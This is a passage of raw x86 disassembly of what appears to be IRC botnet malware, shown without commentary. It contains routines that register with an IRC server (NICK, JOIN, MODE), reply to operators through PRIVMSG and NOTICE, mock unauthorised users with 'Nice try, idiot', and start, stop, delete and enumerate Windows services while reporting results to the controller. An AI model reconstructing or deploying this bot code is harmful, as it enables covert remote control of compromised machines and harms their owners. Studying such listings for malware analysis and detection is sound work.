		push	eax
		call	sub_41140F
		add	esp, 1Ch
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_410D74
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40F10D


loc_40F0F7:				; CODE XREF: seg000:0040F10Bj
		cmp	[ebp-44Ch], ebx
		jnz	loc_40C3FB
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40F0F7
; ---------------------------------------------------------------------------


loc_40F10D:				; CODE XREF: seg000:0040F0F5j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B5FC
		jmp	loc_40EBF9
; ---------------------------------------------------------------------------


loc_40F11E:				; CODE XREF: seg000:0040AE5Dj
					; seg000:0040AE72j
		push	offset aEnz9_9bvbq34 ; "enz 9.9bvbq34"
		push	offset dword_42B5D8
		jmp	loc_40D830
; ---------------------------------------------------------------------------


loc_40F12D:				; CODE XREF: seg000:0040AE33j
					; seg000:0040AE48j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40F187
		push	esi
		call	sub_411ECF
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40F17F
		cmp	eax, 2
		jge	short loc_40F17F
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40F177
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42E014
		push	eax
		call	sub_411963
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40D5EC
; ---------------------------------------------------------------------------


loc_40F177:				; CODE XREF: seg000:0040F156j
		push	eax
		push	offset dword_42B598
		jmp	short loc_40F1C4
; ---------------------------------------------------------------------------


loc_40F17F:				; CODE XREF: seg000:0040F141j
					; seg000:0040F146j
		push	eax
		push	offset dword_42B558
		jmp	short loc_40F1C4
; ---------------------------------------------------------------------------


loc_40F187:				; CODE XREF: seg000:0040F136j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40F18C:				; CODE XREF: seg000:0040F1A8j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F1AF
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F18C
		jmp	loc_40D5EC
; ---------------------------------------------------------------------------


loc_40F1AF:				; CODE XREF: seg000:0040F19Cj
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42E014


loc_40F1C4:				; CODE XREF: seg000:0040E0F0j
					; seg000:0040E77Dj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch
		jmp	loc_40D5EC
; ---------------------------------------------------------------------------


loc_40F1D8:				; CODE XREF: seg000:0040AE09j
					; seg000:0040AE1Ej
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F247
		call	sub_4115D8
		push	ebx
		call	ds:dword_41D104	; ExitProcess


loc_40F1FA:				; CODE XREF: seg000:0040ADDFj
					; seg000:0040ADF4j
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	ds:dword_424384
		push	eax
		call	sub_410B4D
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		lea	eax, [ebp-564h]
		push	eax
		push	offset dword_42B520
		call	sub_408D72


loc_40F244:				; CODE XREF: seg000:0040C560j
		add	esp, 24h


loc_40F247:				; CODE XREF: seg000:0040A7D3j
					; seg000:0040A7DFj ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40A60E
; ---------------------------------------------------------------------------


loc_40F24F:				; CODE XREF: seg000:0040A862j
					; seg000:0040A877j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_40A60B
		cmp	[ebp-0A8h], ebx
		jnz	loc_40A60B
		push	offset dword_4275C4
		push	dword ptr [ebp-94h]
		call	sub_4130B0
		mov	esi, eax
		push	offset dword_430ACC
		push	ebx
		inc	esi
		call	sub_4130B0
		push	offset asc_42B51C ; "~"
		push	eax
		call	sub_4130B0
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_411D80
		add	esp, 20h
		test	eax, eax
		jz	short loc_40F2E5
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	edi
		push	esi
		push	offset dword_42B490
		jmp	short loc_40F341
; ---------------------------------------------------------------------------


loc_40F2E5:				; CODE XREF: seg000:0040F2AAj
		mov	dword ptr [ebp+2Ch], offset off_424444


loc_40F2EC:				; CODE XREF: seg000:0040F308j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_411768
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F355
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_424448
		jl	short loc_40F2EC
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	edi
		push	esi
		push	offset dword_42B450


loc_40F341:				; CODE XREF: seg000:0040F2E3j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 30h
		jmp	loc_40D60D
; ---------------------------------------------------------------------------


loc_40F355:				; CODE XREF: seg000:0040F2FBj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40F35A:				; CODE XREF: seg000:0040F384j
		cmp	[ebp+8], ebx
		jz	loc_40A60B
		cmp	[edi], bl
		jnz	short loc_40F37A
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F38B


loc_40F37A:				; CODE XREF: seg000:0040F365j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F35A
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40F38B:				; CODE XREF: seg000:0040F378j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_413150
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40F3C2
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42B41C
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40F3C2:				; CODE XREF: seg000:0040F3A6j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42B3E8


loc_40F3CE:				; CODE XREF: seg000:0040A72Bj
					; seg000:0040EDB0j
		call	sub_408D72
		pop	ecx


loc_40F3D4:				; CODE XREF: seg000:0040C407j
		pop	ecx
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40F3DA:				; CODE XREF: seg000:0040A39Ej
					; seg000:0040A3B3j
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	offset dword_42441C
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		add	esp, 2Ch
		mov	ds:dword_460490, edi
		jmp	loc_40A42D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F420	proc near		; CODE XREF: sub_40A018+3Dp
					; seg000:0040A35Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41377F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_431EE0
		leave
		retn
sub_40F420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F466	proc near		; CODE XREF: start+88p
					; seg000:004014BDp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40F481
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40F481:				; CODE XREF: sub_40F466+14j
		push	edi
		call	sub_411FB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_411FB0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_411EDA
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E11C
		push	eax
		call	sub_411963
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_431EE0
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40F4FF
		push	7D0h
		call	ds:dword_41D050	; Sleep

locret_40F4FF:				; CODE XREF: sub_40F466+8Cj
		leave
		retn
sub_40F466	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F501	proc near		; CODE XREF: seg000:loc_40B9EDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40F566
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_42E130[esi]
		push	edi
		push	eax
		call	sub_40F588
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40F549
		push	edi
		push	ds:off_42E12C[esi]
		mov	esi, offset dword_460B58
		push	offset dword_42E264
		push	esi
		call	sub_411963
		add	esp, 10h
		jmp	short loc_40F583
; ---------------------------------------------------------------------------


loc_40F549:				; CODE XREF: sub_40F501+2Aj
		push	eax
		call	sub_40F62A
		push	eax
		push	edi
		mov	esi, offset dword_460B58
		push	offset dword_42E228
		push	esi
		call	sub_411963
		add	esp, 14h
		jmp	short loc_40F583
; ---------------------------------------------------------------------------


loc_40F566:				; CODE XREF: sub_40F501+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_460B58
		push	ds:off_42E128[eax*4]
		push	offset dword_42E1F0
		push	esi
		call	sub_411963
		add	esp, 0Ch


loc_40F583:				; CODE XREF: sub_40F501+46j
					; sub_40F501+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40F501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F588	proc near		; CODE XREF: sub_40F501+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_431E84
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40F5AF
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40F624
; ---------------------------------------------------------------------------


loc_40F5AF:				; CODE XREF: sub_40F588+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_431D78
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40F5CF
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40F61C
; ---------------------------------------------------------------------------


loc_40F5CF:				; CODE XREF: sub_40F588+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40F602
		cmp	eax, 3
		jz	short loc_40F5F3
		jle	short loc_40F615
		cmp	eax, 6
		jg	short loc_40F615
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_431DE0
		jmp	short loc_40F609
; ---------------------------------------------------------------------------


loc_40F5F3:				; CODE XREF: sub_40F588+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_431D80
		jmp	short loc_40F609
; ---------------------------------------------------------------------------


loc_40F602:				; CODE XREF: sub_40F588+4Dj
		push	esi
		call	ds:dword_431DE4


loc_40F609:				; CODE XREF: sub_40F588+69j
					; sub_40F588+78j
		test	eax, eax
		jnz	short loc_40F615
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ebx, eax


loc_40F615:				; CODE XREF: sub_40F588+54j
					; sub_40F588+59j ...
		push	esi
		call	ds:dword_431D94


loc_40F61C:				; CODE XREF: sub_40F588+45j
		push	edi
		call	ds:dword_431D94
		pop	esi


loc_40F624:				; CODE XREF: sub_40F588+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40F588	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F62A	proc near		; CODE XREF: sub_40F501+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40F6DF
		jz	loc_40F6D8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40F6A2
		jz	short loc_40F698
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40F68E
		dec	ecx
		dec	ecx
		jz	short loc_40F684
		dec	ecx
		jz	short loc_40F67A
		sub	ecx, 51h
		jz	short loc_40F670
		sub	ecx, 24h
		jnz	loc_40F755	; default
					; jumptable 0040F6FC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F670:				; CODE XREF: sub_40F62A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F67A:				; CODE XREF: sub_40F62A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F684:				; CODE XREF: sub_40F62A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F68E:				; CODE XREF: sub_40F62A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F698:				; CODE XREF: sub_40F62A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F6A2:				; CODE XREF: sub_40F62A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40F6D1
		dec	ecx
		jz	short loc_40F6CA
		dec	ecx
		jz	short loc_40F6C3
		dec	ecx
		jnz	loc_40F755	; default
					; jumptable 0040F6FC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F6C3:				; CODE XREF: sub_40F62A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F6CA:				; CODE XREF: sub_40F62A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F6D1:				; CODE XREF: sub_40F62A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F6D8:				; CODE XREF: sub_40F62A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F6DF:				; CODE XREF: sub_40F62A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40F755 ; default
					; jumptable 0040F6FC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40F742
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40F755 ; default
					; jumptable 0040F6FC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_40F796[ecx]
		jmp	ds:off_40F76E[ecx*4] ; switch jump


loc_40F703:				; DATA XREF: seg000:off_40F76Eo
		push	offset aTheSpecifiedDa ; jumptable 0040F6FC case 7
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F70A:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheServiceDepe ; jumptable 0040F6FC case 17
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F711:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheServiceDe_0 ; jumptable 0040F6FC case 10
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F718:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheServiceHasB ; jumptable 0040F6FC case 0
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F71F:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheSpecified_0 ; jumptable 0040F6FC case 2
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F726:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheServiceCoul ; jumptable 0040F6FC case 11
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F72D:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheServiceHa_0 ; jumptable 0040F6FC case 14
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F734:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheRequested_1 ; jumptable 0040F6FC case 3
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F73B:				; CODE XREF: sub_40F62A+D2j
					; DATA XREF: seg000:off_40F76Eo
		push	offset aTheServiceHasN ; jumptable 0040F6FC case 4
		jmp	short loc_40F747
; ---------------------------------------------------------------------------


loc_40F742:				; CODE XREF: sub_40F62A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40F747:				; CODE XREF: sub_40F62A+41j
					; sub_40F62A+4Bj ...
		push	offset dword_460498
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	short loc_40F768
; ---------------------------------------------------------------------------


loc_40F755:				; CODE XREF: sub_40F62A+36j
					; sub_40F62A+89j ...
		push	eax		; default
					; jumptable 0040F6FC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_460498
		call	sub_411963
		add	esp, 0Ch


loc_40F768:				; CODE XREF: sub_40F62A+129j
		mov	eax, offset dword_460498
		retn
sub_40F62A	endp

; ---------------------------------------------------------------------------
off_40F76E	dd offset loc_40F718	; DATA XREF: sub_40F62A+D2r
		dd offset loc_40F71F	; jump table for switch	statement
		dd offset loc_40F734
		dd offset loc_40F73B
		dd offset loc_40F703
		dd offset loc_40F711
		dd offset loc_40F726
		dd offset loc_40F72D
		dd offset loc_40F70A
		dd offset loc_40F755
byte_40F796	db	0,     9,     1,     2 ; DATA XREF: sub_40F62A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F7A8	proc near		; CODE XREF: seg000:0040BA18p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_431E84
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_40F7E0:				; CODE XREF: sub_40F7A8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_431E50
		test	eax, eax
		jnz	short loc_40F81A
		call	ds:dword_41D060	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40F8CE


loc_40F81A:				; CODE XREF: sub_40F7A8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40F8C5
		lea	esi, [ebp+var_188]


loc_40F82B:				; CODE XREF: sub_40F7A8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40F874
		dec	eax
		jz	short loc_40F86D
		dec	eax
		jz	short loc_40F866
		dec	eax
		jz	short loc_40F85F
		dec	eax
		jz	short loc_40F858
		dec	eax
		jz	short loc_40F851
		dec	eax
		jz	short loc_40F84A
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_40F879
; ---------------------------------------------------------------------------


loc_40F84A:				; CODE XREF: sub_40F7A8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40F879
; ---------------------------------------------------------------------------


loc_40F851:				; CODE XREF: sub_40F7A8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40F879
; ---------------------------------------------------------------------------


loc_40F858:				; CODE XREF: sub_40F7A8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40F879
; ---------------------------------------------------------------------------


loc_40F85F:				; CODE XREF: sub_40F7A8+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_40F879
; ---------------------------------------------------------------------------


loc_40F866:				; CODE XREF: sub_40F7A8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40F879
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F7A8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40F879
; ---------------------------------------------------------------------------


loc_40F874:				; CODE XREF: sub_40F7A8+87j
		push	offset aStopped	; "    Stopped"


loc_40F879:				; CODE XREF: sub_40F7A8+A0j
					; sub_40F7A8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_411963
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40F82B


loc_40F8C5:				; CODE XREF: sub_40F7A8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40F7E0


loc_40F8CE:				; CODE XREF: sub_40F7A8+6Cj
		push	[ebp+var_C]
		call	ds:dword_431D94
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40F7A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8E5	proc near		; CODE XREF: seg000:loc_40BACFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40F97E
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40F90E
		dec	eax
		jnz	short loc_40F95E
		push	edi
		push	0
		call	sub_40FAB7
		pop	ecx
		pop	ecx
		jmp	short loc_40F95A
; ---------------------------------------------------------------------------


loc_40F90E:				; CODE XREF: sub_40F8E5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40F94C
		push	24h
		push	edi
		call	sub_413BB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F94C
		push	57h
		pop	eax


loc_40F925:				; CODE XREF: sub_40F8E5+77j
		push	eax
		call	sub_41028F
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_460754
		push	ds:off_42E128[eax*4]
		push	offset dword_42E834
		push	esi
		call	sub_411963
		add	esp, 18h
		jmp	short loc_40F99E
; ---------------------------------------------------------------------------


loc_40F94C:				; CODE XREF: sub_40F8E5+2Dj
					; sub_40F8E5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40FA0B
		add	esp, 0Ch


loc_40F95A:				; CODE XREF: sub_40F8E5+27j
		test	eax, eax
		jnz	short loc_40F925


loc_40F95E:				; CODE XREF: sub_40F8E5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_460754
		push	ds:off_42E12C[eax*4]
		push	offset dword_42E804
		push	esi
		call	sub_411963
		add	esp, 10h
		jmp	short loc_40F99E
; ---------------------------------------------------------------------------


loc_40F97E:				; CODE XREF: sub_40F8E5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_460754
		lea	eax, [eax+eax*2]
		push	ds:off_42E128[eax*4]
		push	offset dword_42E7CC
		push	esi
		call	sub_411963
		add	esp, 0Ch


loc_40F99E:				; CODE XREF: sub_40F8E5+65j
					; sub_40F8E5+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40F8E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9A4	proc near		; CODE XREF: sub_410DD4+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40F9B1
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40F9B1:				; CODE XREF: sub_40F9A4+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_41D128
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_41D128
		test	ds:byte_460954,	1
		mov	ebp, eax
		jnz	short loc_40F9EE
		or	ds:byte_460954,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_412A55
		pop	ecx
		mov	ds:dword_4606F4, eax


loc_40F9EE:				; CODE XREF: sub_40F9A4+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_4606F4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_41D128
		mov	eax, ds:dword_4606F4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40F9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA0B	proc near		; CODE XREF: sub_40F8E5+6Dp
					; sub_4110F8+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40FA76
		push	[ebp+arg_4]
		mov	edi, eax
